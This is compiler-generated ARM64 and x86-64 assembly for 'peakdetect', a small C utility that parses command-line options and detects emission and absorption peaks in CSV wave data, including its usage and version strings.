LBB3_28: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
ldr x0, [x8, x9, lsl #3]
adrp x1, l_.str.14@PAGE
add x1, x1, l_.str.14@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB3_30
b LBB3_29
LBB3_29: ; in Loop: Header=BB3_1 Depth=1
bl _print_help
b LBB3_34
LBB3_30: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
ldr x0, [x8, x9, lsl #3]
adrp x1, l_.str.15@PAGE
add x1, x1, l_.str.15@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB3_32
b LBB3_31
LBB3_31: ; in Loop: Header=BB3_1 Depth=1
bl _print_version
b LBB3_33
LBB3_32:
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.16@PAGE
add x1, x1, l_.str.16@PAGEOFF
bl _fprintf
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
ldr x1, [x8, x9, lsl #3]
bl _fprintf
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
bl _fprintf
mov w0, #3
bl _exit
LBB3_33: ; in Loop: Header=BB3_1 Depth=1
b LBB3_34
LBB3_34: ; in Loop: Header=BB3_1 Depth=1
b LBB3_35
LBB3_35: ; in Loop: Header=BB3_1 Depth=1
b LBB3_36
LBB3_36: ; in Loop: Header=BB3_1 Depth=1
b LBB3_37
LBB3_37: ; in Loop: Header=BB3_1 Depth=1
b LBB3_38
LBB3_38: ; in Loop: Header=BB3_1 Depth=1
b LBB3_39
LBB3_39: ; in Loop: Header=BB3_1 Depth=1
b LBB3_40
LBB3_40: ; in Loop: Header=BB3_1 Depth=1
b LBB3_41
LBB3_41: ; in Loop: Header=BB3_1 Depth=1
b LBB3_42
LBB3_42: ; in Loop: Header=BB3_1 Depth=1
b LBB3_43
LBB3_43: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #100]
add w8, w8, #1
str w8, [sp, #100]
b LBB3_1
LBB3_44:
mov x0, #12000
str x0, [sp, #24] ; 8-byte Folded Spill
bl _malloc
ldr x9, [sp, #32] ; 8-byte Folded Reload
mov x8, x0
ldr x0, [sp, #24] ; 8-byte Folded Reload
str x8, [x9, #16]
bl _malloc
ldr x8, [sp, #32] ; 8-byte Folded Reload
str x0, [x8, #24]
str wzr, [sp, #100]
b LBB3_45
LBB3_45: ; =>This Loop Header: Depth=1
; Child Loop BB3_49 Depth 2
ldr x2, [sp, #104]
add x0, sp, #144
mov w1, #120
bl _fgets
subs x8, x0, #0
cset w8, eq
tbnz w8, #0, LBB3_54
b LBB3_46
LBB3_46: ; in Loop: Header=BB3_45 Depth=1
ldr w8, [sp, #100]
subs w8, w8, #1500
str w8, [sp, #80]
ldr w8, [sp, #80]
subs w8, w8, #0
cset w8, lt
tbnz w8, #0, LBB3_53
b LBB3_47
LBB3_47: ; in Loop: Header=BB3_45 Depth=1
ldr w8, [sp, #80]
mov w10, #3000
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB3_53
b LBB3_48
LBB3_48: ; in Loop: Header=BB3_45 Depth=1
str wzr, [sp, #52]
b LBB3_49
LBB3_49: ; Parent Loop BB3_45 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #52]
subs w8, w8, #2
cset w8, ge
tbnz w8, #0, LBB3_52
b LBB3_50
LBB3_50: ; in Loop: Header=BB3_49 Depth=2
ldr w8, [sp, #100]
add w9, w8, #3000
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
mov x8, #8
mul x0, x8, x9
bl _malloc
str x0, [sp, #56]
ldr x0, [sp, #56]
ldrsw x9, [sp, #52]
sub x8, x29, #40
str x8, [sp, #16] ; 8-byte Folded Spill
ldr x1, [x8, x9, lsl #3]
ldrsw x8, [sp, #100]
lsl x2, x8, #3
mov x3, #-1
bl ___memcpy_chk
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldrsw x9, [sp, #52]
ldr x0, [x8, x9, lsl #3]
bl _free
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr x8, [sp, #56]
ldrsw x10, [sp, #52]
str x8, [x9, x10, lsl #3]
b LBB3_51
LBB3_51: ; in Loop: Header=BB3_49 Depth=2
ldr w8, [sp, #52]
add w8, w8, #1
str w8, [sp, #52]
b LBB3_49
LBB3_52: ; in Loop: Header=BB3_45 Depth=1
b LBB3_53
LBB3_53: ; in Loop: Header=BB3_45 Depth=1
sub x10, x29, #56
add x8, x10, #8
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
add x0, sp, #144
adrp x1, l_.str.17@PAGE
add x1, x1, l_.str.17@PAGEOFF
bl _sscanf
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr d0, [x8]
ldr x9, [x8, #16]
ldrsw x10, [sp, #100]
str d0, [x9, x10, lsl #3]
ldr d0, [x8, #8]
ldr x8, [x8, #24]
ldrsw x9, [sp, #100]
str d0, [x8, x9, lsl #3]
ldr w8, [sp, #100]
add w8, w8, #1
str w8, [sp, #100]
b LBB3_45
LBB3_54:
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x0, [x8, #24]
ldr w1, [sp, #100]
ldr d0, [sp, #88]
ldr w8, [sp, #84]
mov x9, sp
str w8, [x9]
add x2, sp, #1064
add x3, sp, #124
mov w7, #200
mov x4, x7
add x5, sp, #264
add x6, sp, #120
bl _detect_peak
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB3_56
b LBB3_55
LBB3_55:
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.18@PAGE
add x1, x1, l_.str.18@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB3_56:
str wzr, [sp, #100]
b LBB3_57
LBB3_57: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #100]
ldr w9, [sp, #124]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB3_60
b LBB3_58
LBB3_58: ; in Loop: Header=BB3_57 Depth=1
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x0, [sp, #112]
ldr x10, [x8, #16]
ldrsw x11, [sp, #100]
add x9, sp, #1064
ldrsw x11, [x9, x11, lsl #2]
ldr d1, [x10, x11, lsl #3]
ldr x8, [x8, #24]
ldrsw x10, [sp, #100]
ldrsw x9, [x9, x10, lsl #2]
ldr d0, [x8, x9, lsl #3]
mov x8, sp
str d1, [x8]
str d0, [x8, #8]
adrp x1, l_.str.19@PAGE
add x1, x1, l_.str.19@PAGEOFF
bl _fprintf
b LBB3_59
LBB3_59: ; in Loop: Header=BB3_57 Depth=1
ldr w8, [sp, #100]
add w8, w8, #1
str w8, [sp, #100]
b LBB3_57
LBB3_60:
adrp x0, l_.str.20@PAGE
add x0, x0, l_.str.20@PAGEOFF
bl _puts
str wzr, [sp, #100]
b LBB3_61
LBB3_61: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #100]
ldr w9, [sp, #120]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB3_64
b LBB3_62
LBB3_62: ; in Loop: Header=BB3_61 Depth=1
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x0, [sp, #112]
ldr x10, [x8, #16]
ldrsw x11, [sp, #100]
add x9, sp, #264
ldrsw x11, [x9, x11, lsl #2]
ldr d1, [x10, x11, lsl #3]
ldr x8, [x8, #24]
ldrsw x10, [sp, #100]
ldrsw x9, [x9, x10, lsl #2]
ldr d0, [x8, x9, lsl #3]
mov x8, sp
str d1, [x8]
str d0, [x8, #8]
adrp x1, l_.str.19@PAGE
add x1, x1, l_.str.19@PAGEOFF
bl _fprintf
b LBB3_63
LBB3_63: ; in Loop: Header=BB3_61 Depth=1
ldr w8, [sp, #100]
add w8, w8, #1
str w8, [sp, #100]
b LBB3_61
LBB3_64:
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB3_66
b LBB3_65
LBB3_65:
bl ___stack_chk_fail
LBB3_66:
mov w0, #0
add sp, sp, #1904
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Usage: peakdetect [OPTIONS]\nPeak detection in a wave\n\nOptions:\n-i inputfile \t\tInput file.\n \t\tThe input file should be a csv format file, whose first\n \t\tcolumn is X and second column is Y.\n-o outfile \t\tOutput file.\n \t\tEmission peaks will be output first, followed by\n \t\tabsorption peaks with an empty line seperated.\n-d deltavalue\t\tDelta, a parameter used to determine peaks.\n-m mode \t\tDetecting mode, could be either \"a\" (detect absorption peak\n \t\tfirst) or \"e\" (detect emission peak first).\n \t\tDefault value is \"a\".\n--version \t\tDisplay version information.\n--help \t\tShow this help information.\n\ne.g.\npeakdetect -i input.csv -o output.csv -d 1e-7 -m a\npeakdetect <input.csv -d 0.1 -m e | tee out.csv\n"
l_.str.1: ; @.str.1
.asciz "peakdetect version 0.1.3\nCopyright (C) 2011 Hong Xu <[email protected]>\nOriginally inspired by Eli Billauer's peakdet for MATLAB:\nhttp://billauer.co.il/peakdet.html\n\nSee the README file for license information.\n"
l_.str.2: ; @.str.2
.asciz "r"
l_.str.3: ; @.str.3
.asciz "Failed to open file \""
l_.str.4: ; @.str.4
.asciz "\".\n"
l_.str.5: ; @.str.5
.asciz "w"
l_.str.6: ; @.str.6
.asciz "a"
l_.str.7: ; @.str.7
.asciz "e"
l_.str.8: ; @.str.8
.asciz "Argument parsing error: Unknown mode \""
l_.str.9: ; @.str.9
.asciz "\"\n"
l_.str.10: ; @.str.10
.asciz "-d"
l_.str.11: ; @.str.11
.asciz "-i"
l_.str.12: ; @.str.12
.asciz "-o"
l_.str.13: ; @.str.13
.asciz "-m"
l_.str.14: ; @.str.14
.asciz "--help"
l_.str.15: ; @.str.15
.asciz "--version"
l_.str.16: ; @.str.16
.asciz "Unknown option \""
l_.str.17: ; @.str.17
.asciz "%lf,%lf"
l_.str.18: ; @.str.18
.asciz "There are too many peaks.\n"
l_.str.19: ; @.str.19
.asciz "%e,%e\n"
l_.str.20: ; @.str.20
.space 1
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _print_help ## -- Begin function print_help
.p2align 4, 0x90
_print_help: ## @print_help
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str(%rip), %rsi
xorl %eax, %eax
movl %eax, -4(%rbp) ## 4-byte Spill
callq _fprintf
movl -4(%rbp), %edi ## 4-byte Reload
callq _exit
.cfi_endproc
## -- End function
.globl _print_version ## -- Begin function print_version
.p2align 4, 0x90
_print_version: ## @print_version
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.1(%rip), %rsi
xorl %eax, %eax
movl %eax, -4(%rbp) ## 4-byte Spill
callq _fprintf
movl -4(%rbp), %edi ## 4-byte Reload
callq _exit
.cfi_endproc
## -- End function
.globl _detect_peak ## -- Begin function detect_peak
.p2align 4, 0x90
_detect_peak: ## @detect_peak
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl 32(%rbp), %eax
movl 24(%rbp), %eax
movq 16(%rbp), %rax
movq %rdi, -16(%rbp)
movl %esi, -20(%rbp)
movq %rdx, -32(%rbp)
movq %rcx, -40(%rbp)
movl %r8d, -44(%rbp)
movq %r9, -56(%rbp)
movsd %xmm0, -64(%rbp)
movl $0, -92(%rbp)
movl $0, -96(%rbp)
movl 32(%rbp), %eax
movl %eax, -100(%rbp)
movq -16(%rbp), %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -80(%rbp)
movq -16(%rbp), %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -88(%rbp)
movq -40(%rbp), %rax
movl $0, (%rax)
movq 16(%rbp), %rax
movl $0, (%rax)
movl $1, -68(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movl -68(%rbp), %eax
cmpl -20(%rbp), %eax
jge LBB2_19
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -16(%rbp), %rax
movslq -68(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
ucomisd -80(%rbp), %xmm0
jbe LBB2_4
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movl -68(%rbp), %eax
movl %eax, -92(%rbp)
movq -16(%rbp), %rax
movslq -68(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -80(%rbp)
LBB2_4: ## in Loop: Header=BB2_1 Depth=1
movq -16(%rbp), %rax
movslq -68(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
movsd -88(%rbp), %xmm0 ## xmm0 = mem[0],zero
ucomisd %xmm1, %xmm0
jbe LBB2_6
## %bb.5: ## in Loop: Header=BB2_1 Depth=1
movl -68(%rbp), %eax
movl %eax, -96(%rbp)
movq -16(%rbp), %rax
movslq -68(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -88(%rbp)
LBB2_6: ## in Loop: Header=BB2_1 Depth=1
cmpl $0, -100(%rbp)
je LBB2_11
## %bb.7: ## in Loop: Header=BB2_1 Depth=1
movq -16(%rbp), %rax
movslq -68(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
movsd -80(%rbp), %xmm0 ## xmm0 = mem[0],zero
subsd -64(%rbp), %xmm0
ucomisd %xmm1, %xmm0
jbe LBB2_11
## %bb.8: ## in Loop: Header=BB2_1 Depth=1
movq -40(%rbp), %rax
movl (%rax), %eax
cmpl -44(%rbp), %eax
jl LBB2_10
## %bb.9:
movl $1, -4(%rbp)
jmp LBB2_20
LBB2_10: ## in Loop: Header=BB2_1 Depth=1
movl -92(%rbp), %edx
movq -32(%rbp), %rax
movq -40(%rbp), %rcx
movslq (%rcx), %rcx
movl %edx, (%rax,%rcx,4)
movq -40(%rbp), %rax
movl (%rax), %ecx
addl $1, %ecx
movl %ecx, (%rax)
movl $0, -100(%rbp)
movl -92(%rbp), %eax
subl $1, %eax
movl %eax, -68(%rbp)
movq -16(%rbp), %rax
movslq -92(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -88(%rbp)
movl -92(%rbp), %eax
movl %eax, -96(%rbp)
jmp LBB2_17
LBB2_11: ## in Loop: Header=BB2_1 Depth=1
cmpl $0, -100(%rbp)
jne LBB2_16
## %bb.12: ## in Loop: Header=BB2_1 Depth=1
movq -16(%rbp), %rax
movslq -68(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movsd -88(%rbp), %xmm1 ## xmm1 = mem[0],zero
addsd -64(%rbp), %xmm1
ucomisd %xmm1, %xmm0
jbe LBB2_16
## %bb.13: ## in Loop: Header=BB2_1 Depth=1
movq 16(%rbp), %rax
movl (%rax), %eax
cmpl 24(%rbp), %eax
jl LBB2_15
## %bb.14:
movl $2, -4(%rbp)
jmp LBB2_20
LBB2_15: ## in Loop: Header=BB2_1 Depth=1
movl -96(%rbp), %edx
movq -56(%rbp), %rax
movq 16(%rbp), %rcx
movslq (%rcx), %rcx
movl %edx, (%rax,%rcx,4)
movq 16(%rbp), %rax
movl (%rax), %ecx
addl $1, %ecx
movl %ecx, (%rax)
movl $1, -100(%rbp)
movl -96(%rbp), %eax
subl $1, %eax
movl %eax, -68(%rbp)
movq -16(%rbp), %rax
movslq -96(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -80(%rbp)
movl -96(%rbp), %eax
movl %eax, -92(%rbp)
LBB2_16: ## in Loop: Header=BB2_1 Depth=1
jmp LBB2_17
LBB2_17: ## in Loop: Header=BB2_1 Depth=1
jmp LBB2_18
LBB2_18: ## in Loop: Header=BB2_1 Depth=1
movl -68(%rbp), %eax
addl $1, %eax
movl %eax, -68(%rbp)
jmp LBB2_1
LBB2_19:
movl $0, -4(%rbp)
LBB2_20:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI3_0:
.quad 0x3eb0c6f7a0b5ed8d ## double 9.9999999999999995E-7
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $1952, %rsp ## imm = 0x7A0
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -1780(%rbp)
movl %edi, -1784(%rbp)
movq %rsi, -1792(%rbp)
movl $0, -1796(%rbp)
movl $0, -1800(%rbp)
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -1808(%rbp)
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -1816(%rbp)
movsd LCPI3_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -1832(%rbp)
movl $0, -1836(%rbp)
movl $0, -1844(%rbp)
movl $0, -1848(%rbp)
movl $0, -1852(%rbp)
movl $0, -1856(%rbp)
movl $1, -1820(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
movl -1820(%rbp), %eax
cmpl -1784(%rbp), %eax
jge LBB3_44
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
cmpl $0, -1844(%rbp)
je LBB3_4
## %bb.3: ## in Loop: Header=BB3_1 Depth=1
movq -1792(%rbp), %rax
movslq -1820(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
callq _atof
movsd %xmm0, -1832(%rbp)
movl $0, -1844(%rbp)
jmp LBB3_42
LBB3_4: ## in Loop: Header=BB3_1 Depth=1
cmpl $0, -1848(%rbp)
je LBB3_8
## %bb.5: ## in Loop: Header=BB3_1 Depth=1
movq -1792(%rbp), %rax
movslq -1820(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.2(%rip), %rsi
callq _fopen
movq %rax, -1816(%rbp)
cmpq $0, -1816(%rbp)
jne LBB3_7
## %bb.6:
movq ___stderrp@GOTPCREL(%rip), %rax
movq %rax, -1880(%rbp) ## 8-byte Spill
movq (%rax), %rdi
leaq L_.str.3(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movb %al, -1869(%rbp) ## 1-byte Spill
callq _fprintf
movq -1880(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -1869(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
movq -1792(%rbp), %rcx
movslq -1820(%rbp), %rdx
movq (%rcx,%rdx,8), %rsi
callq _fprintf
movq -1880(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -1869(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.4(%rip), %rsi
callq _fprintf
movl $2, %edi
callq _exit
LBB3_7: ## in Loop: Header=BB3_1 Depth=1
movl $0, -1848(%rbp)
jmp LBB3_41
LBB3_8: ## in Loop: Header=BB3_1 Depth=1
cmpl $0, -1852(%rbp)
je LBB3_12
## %bb.9: ## in Loop: Header=BB3_1 Depth=1
movq -1792(%rbp), %rax
movslq -1820(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.5(%rip), %rsi
callq _fopen
movq %rax, -1808(%rbp)
cmpq $0, -1808(%rbp)
jne LBB3_11
## %bb.10:
movq ___stderrp@GOTPCREL(%rip), %rax
movq %rax, -1896(%rbp) ## 8-byte Spill
movq (%rax), %rdi
leaq L_.str.3(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movb %al, -1881(%rbp) ## 1-byte Spill
callq _fprintf
movq -1896(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -1881(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
movq -1792(%rbp), %rcx
movslq -1820(%rbp), %rdx
movq (%rcx,%rdx,8), %rsi
callq _fprintf
movq -1896(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -1881(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.4(%rip), %rsi
callq _fprintf
movl $2, %edi
callq _exit
LBB3_11: ## in Loop: Header=BB3_1 Depth=1
movl $0, -1852(%rbp)
jmp LBB3_40
LBB3_12: ## in Loop: Header=BB3_1 Depth=1
cmpl $0, -1856(%rbp)
je LBB3_20
## %bb.13: ## in Loop: Header=BB3_1 Depth=1
movq -1792(%rbp), %rax
movslq -1820(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.6(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB3_15
## %bb.14: ## in Loop: Header=BB3_1 Depth=1
movl $0, -1836(%rbp)
jmp LBB3_19
LBB3_15: ## in Loop: Header=BB3_1 Depth=1
movq -1792(%rbp), %rax
movslq -1820(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.7(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB3_17
## %bb.16: ## in Loop: Header=BB3_1 Depth=1
movl $1, -1836(%rbp)
jmp LBB3_18
LBB3_17:
movq ___stderrp@GOTPCREL(%rip), %rax
movq %rax, -1912(%rbp) ## 8-byte Spill
movq (%rax), %rdi
leaq L_.str.8(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movb %al, -1897(%rbp) ## 1-byte Spill
callq _fprintf
movq -1912(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -1897(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
movq -1792(%rbp), %rcx
movslq -1820(%rbp), %rdx
movq (%rcx,%rdx,8), %rsi
callq _fprintf
movq -1912(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -1897(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.9(%rip), %rsi
callq _fprintf
movl $4, %edi
callq _exit
LBB3_18: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_19
LBB3_19: ## in Loop: Header=BB3_1 Depth=1
movl $0, -1856(%rbp)
jmp LBB3_39
LBB3_20: ## in Loop: Header=BB3_1 Depth=1
movq -1792(%rbp), %rax
movslq -1820(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.10(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB3_22
## %bb.21: ## in Loop: Header=BB3_1 Depth=1
movl $1, -1844(%rbp)
jmp LBB3_38
LBB3_22: ## in Loop: Header=BB3_1 Depth=1
movq -1792(%rbp), %rax
movslq -1820(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.11(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB3_24
## %bb.23: ## in Loop: Header=BB3_1 Depth=1
movl $1, -1848(%rbp)
jmp LBB3_37
LBB3_24: ## in Loop: Header=BB3_1 Depth=1
movq -1792(%rbp), %rax
movslq -1820(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.12(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB3_26
## %bb.25: ## in Loop: Header=BB3_1 Depth=1
movl $1, -1852(%rbp)
jmp LBB3_36
LBB3_26: ## in Loop: Header=BB3_1 Depth=1
movq -1792(%rbp), %rax
movslq -1820(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.13(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB3_28
## %bb.27: ## in Loop: Header=BB3_1 Depth=1
movl $1, -1856(%rbp)
jmp LBB3_35
LBB3_28: ## in Loop: Header=BB3_1 Depth=1
movq -1792(%rbp), %rax
movslq -1820(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.14(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB3_30
## %bb.29: ## in Loop: Header=BB3_1 Depth=1
callq _print_help
jmp LBB3_34
LBB3_30: ## in Loop: Header=BB3_1 Depth=1
movq -1792(%rbp), %rax
movslq -1820(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
leaq L_.str.15(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB3_32
## %bb.31: ## in Loop: Header=BB3_1 Depth=1
callq _print_version
jmp LBB3_33
LBB3_32:
movq ___stderrp@GOTPCREL(%rip), %rax
movq %rax, -1928(%rbp) ## 8-byte Spill
movq (%rax), %rdi
leaq L_.str.16(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movb %al, -1913(%rbp) ## 1-byte Spill
callq _fprintf
movq -1928(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -1913(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
movq -1792(%rbp), %rcx
movslq -1820(%rbp), %rdx
movq (%rcx,%rdx,8), %rsi
callq _fprintf
movq -1928(%rbp), %rcx ## 8-byte Reload
## kill: def $edx killed $eax
movb -1913(%rbp), %al ## 1-byte Reload
movq (%rcx), %rdi
leaq L_.str.4(%rip), %rsi
callq _fprintf
movl $3, %edi
callq _exit
LBB3_33: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_34
LBB3_34: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_35
LBB3_35: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_36
LBB3_36: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_37
LBB3_37: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_38
LBB3_38: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_39
LBB3_39: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_40
LBB3_40: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_41
LBB3_41: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_42
LBB3_42: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_43
LBB3_43: ## in Loop: Header=BB3_1 Depth=1
movl -1820(%rbp), %eax
addl $1, %eax
movl %eax, -1820(%rbp)
jmp LBB3_1
LBB3_44:
movl $12000, %edi ## imm = 0x2EE0
callq _malloc
movq %rax, -32(%rbp)
movl $12000, %edi ## imm = 0x2EE0
callq _malloc
movq %rax, -24(%rbp)
movl $0, -1820(%rbp)
LBB3_45: ## =>This Loop Header: Depth=1
## Child Loop BB3_49 Depth 2
leaq -1776(%rbp), %rdi
movq -1816(%rbp), %rdx
movl $120, %esi
callq _fgets
cmpq $0, %rax
je LBB3_54
## %bb.46: ## in Loop: Header=BB3_45 Depth=1
movl -1820(%rbp), %eax
subl $1500, %eax ## imm = 0x5DC
movl %eax, -1840(%rbp)
cmpl $0, -1840(%rbp)
jl LBB3_53
## %bb.47: ## in Loop: Header=BB3_45 Depth=1
movl -1840(%rbp), %eax
movl $3000, %ecx ## imm = 0xBB8
cltd
idivl %ecx
cmpl $0, %edx
jne LBB3_53
## %bb.48: ## in Loop: Header=BB3_45 Depth=1
movl $0, -1868(%rbp)
LBB3_49: ## Parent Loop BB3_45 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $2, -1868(%rbp)
jge LBB3_52
## %bb.50: ## in Loop: Header=BB3_49 Depth=2
movl -1820(%rbp), %eax
addl $3000, %eax ## imm = 0xBB8
movslq %eax, %rdi
shlq $3, %rdi
callq _malloc
movq %rax, -1864(%rbp)
movq -1864(%rbp), %rdi
movslq -1868(%rbp), %rax
movq -32(%rbp,%rax,8), %rsi
movslq -1820(%rbp), %rdx
shlq $3, %rdx
movq $-1, %rcx
callq ___memcpy_chk
movslq -1868(%rbp), %rax
movq -32(%rbp,%rax,8), %rdi
callq _free
movq -1864(%rbp), %rcx
movslq -1868(%rbp), %rax
movq %rcx, -32(%rbp,%rax,8)
## %bb.51: ## in Loop: Header=BB3_49 Depth=2
movl -1868(%rbp), %eax
addl $1, %eax
movl %eax, -1868(%rbp)
jmp LBB3_49
LBB3_52: ## in Loop: Header=BB3_45 Depth=1
jmp LBB3_53
LBB3_53: ## in Loop: Header=BB3_45 Depth=1
leaq -1776(%rbp), %rdi
leaq -48(%rbp), %rdx
leaq -48(%rbp), %rcx
addq $8, %rcx
leaq L_.str.17(%rip), %rsi
movb $0, %al
callq _sscanf
movsd -48(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq -32(%rbp), %rax
movslq -1820(%rbp), %rcx
movsd %xmm0, (%rax,%rcx,8)
